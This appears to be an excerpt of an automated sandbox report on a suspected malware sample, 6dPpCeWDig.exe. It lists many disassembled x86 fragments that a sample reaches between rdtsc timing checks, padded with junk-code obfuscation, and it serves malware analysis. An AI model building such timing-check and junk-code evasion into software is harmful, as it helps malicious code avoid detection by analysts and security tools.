Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14758BD second address: 1475909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F38E4FECF38h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 jc 00007F38E4FECF3Bh 0x00000027 mov edx, 6E7A2625h 0x0000002c push 00000000h 0x0000002e cld 0x0000002f push 836A0225h 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F38E4FECF40h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1475909 second address: 1475913 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F38E4FF50B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1475913 second address: 1475975 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 7C95FE5Bh 0x0000000f ja 00007F38E4FECF3Eh 0x00000015 push esi 0x00000016 mov dword ptr [ebp+122D2F73h], edi 0x0000001c pop edi 0x0000001d push 00000003h 0x0000001f mov edi, dword ptr [ebp+122D290Bh] 0x00000025 jmp 00007F38E4FECF45h 0x0000002a push 00000000h 0x0000002c clc 0x0000002d push 00000003h 0x0000002f jmp 00007F38E4FECF42h 0x00000034 push CF39F29Ah 0x00000039 pushad 0x0000003a jnl 00007F38E4FECF38h 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1475A26 second address: 1475A42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FF50C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1475A42 second address: 1475A46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1475C6A second address: 1475C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1475C70 second address: 1475C98 instructions: 0x00000000 rdtsc 0x00000002 je 00007F38E4FECF36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F38E4FECF42h 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007F38E4FECF36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1475C98 second address: 1475CD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jl 00007F38E4FF50BEh 0x00000014 jo 00007F38E4FF50B8h 0x0000001a pushad 0x0000001b popad 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f pushad 0x00000020 jmp 00007F38E4FF50C1h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1475D6C second address: 1475D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1475D70 second address: 1475DEB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F38E4FF50B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F38E4FF50C1h 0x0000000f popad 0x00000010 xor dword ptr [esp], 5912EE52h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F38E4FF50B8h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 lea ebx, dword ptr [ebp+124597ADh] 0x00000037 pushad 0x00000038 cld 0x00000039 cld 0x0000003a popad 0x0000003b call 00007F38E4FF50C1h 0x00000040 mov dl, C3h 0x00000042 pop esi 0x00000043 xchg eax, ebx 0x00000044 jp 00007F38E4FF50C0h 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1475DEB second address: 1475DF1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14875BF second address: 14875CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F38E4FF50B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1497698 second address: 149769C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1495563 second address: 149556B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 149556B second address: 149557B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F38E4FECF3Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 149557B second address: 1495593 instructions: 0x00000000 rdtsc 0x00000002 je 00007F38E4FF50BEh 0x00000008 push esi 0x00000009 pop esi 0x0000000a jg 00007F38E4FF50B6h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007F38E4FF50B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1495593 second address: 14955B1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F38E4FECF36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F38E4FECF3Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14955B1 second address: 14955BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14959B7 second address: 14959BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14959BD second address: 14959CE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F38E4FF50B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14960BF second address: 14960CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jg 00007F38E4FECF36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14960CE second address: 14960DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14960DA second address: 14960F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007F38E4FECF3Fh 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1496232 second address: 149624F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jne 00007F38E4FF50C2h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 149624F second address: 149626C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F38E4FECF43h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 149626C second address: 1496270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 148D5F6 second address: 148D61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F38E4FECF3Eh 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jnp 00007F38E4FECF36h 0x00000016 js 00007F38E4FECF36h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 148D61E second address: 148D626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 148D626 second address: 148D62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 148D62A second address: 148D636 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 148D636 second address: 148D651 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF47h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 149681B second address: 1496820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1496820 second address: 149684D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F38E4FECF3Eh 0x00000008 jbe 00007F38E4FECF36h 0x0000000e jmp 00007F38E4FECF41h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14971DA second address: 14971F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14971F6 second address: 1497217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F38E4FECF44h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1497217 second address: 149722D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1499B0F second address: 1499B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F38E4FECF36h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1499B1C second address: 1499B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1499B20 second address: 1499B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jns 00007F38E4FECF44h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1499B47 second address: 1499B4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1499B4B second address: 1499B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1499C44 second address: 1499C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A27F8 second address: 14A27FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A27FC second address: 14A2804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A2804 second address: 14A2810 instructions: 0x00000000 rdtsc 0x00000002 js 00007F38E4FECF3Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A2810 second address: 14A2823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F38E4FF50C8h 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A2823 second address: 14A2829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 146224B second address: 1462251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1462251 second address: 146226F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF43h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 146226F second address: 1462289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38E4FF50C4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A1EE8 second address: 14A1EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A1EEE second address: 14A1EF4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A1EF4 second address: 14A1EF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A2041 second address: 14A2047 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A2047 second address: 14A2050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A2050 second address: 14A207A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38E4FF50C6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F38E4FF50BDh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A2382 second address: 14A2386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A2386 second address: 14A239A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F38E4FF50B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F38E4FF50BEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A239A second address: 14A23A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A23A0 second address: 14A23BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F38E4FF50B6h 0x0000000a jmp 00007F38E4FF50C2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A5323 second address: 14A5327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A5327 second address: 14A532D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A532D second address: 14A5337 instructions: 0x00000000 rdtsc 0x00000002 js 00007F38E4FECF3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A5BDB second address: 14A5BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A5CCD second address: 14A5CD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A5CD3 second address: 14A5CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A5DE7 second address: 14A5E0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F38E4FECF47h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A5E0D second address: 14A5E11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A5E11 second address: 14A5E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A5E17 second address: 14A5E1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A5FCC second address: 14A5FD2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A5FD2 second address: 14A6040 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b jmp 00007F38E4FF50C7h 0x00000010 pop ecx 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F38E4FF50B8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c jmp 00007F38E4FF50C8h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 jno 00007F38E4FF50B6h 0x0000003b push ebx 0x0000003c pop ebx 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A6D6A second address: 14A6D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A6D72 second address: 14A6D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A7708 second address: 14A7713 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F38E4FECF36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14A7FF2 second address: 14A7FF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14AAD1F second address: 14AADBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a add esi, dword ptr [ebp+122D2753h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F38E4FECF38h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D2C3Bh], edi 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+122D1835h], edi 0x0000003a call 00007F38E4FECF46h 0x0000003f jmp 00007F38E4FECF46h 0x00000044 pop edi 0x00000045 xchg eax, ebx 0x00000046 pushad 0x00000047 jg 00007F38E4FECF49h 0x0000004d pushad 0x0000004e jno 00007F38E4FECF36h 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14AADBA second address: 14AADC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14ACC71 second address: 14ACC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14AD23B second address: 14AD241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14AA9F9 second address: 14AAA0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F38E4FECF40h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14AD241 second address: 14AD245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14AAA0E second address: 14AAA20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jne 00007F38E4FECF36h 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14ABFDA second address: 14ABFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14AF1E2 second address: 14AF1E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 14AE4BC second address: 14AE4C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F38E4FF50B6h 0x0000000a rdtsc
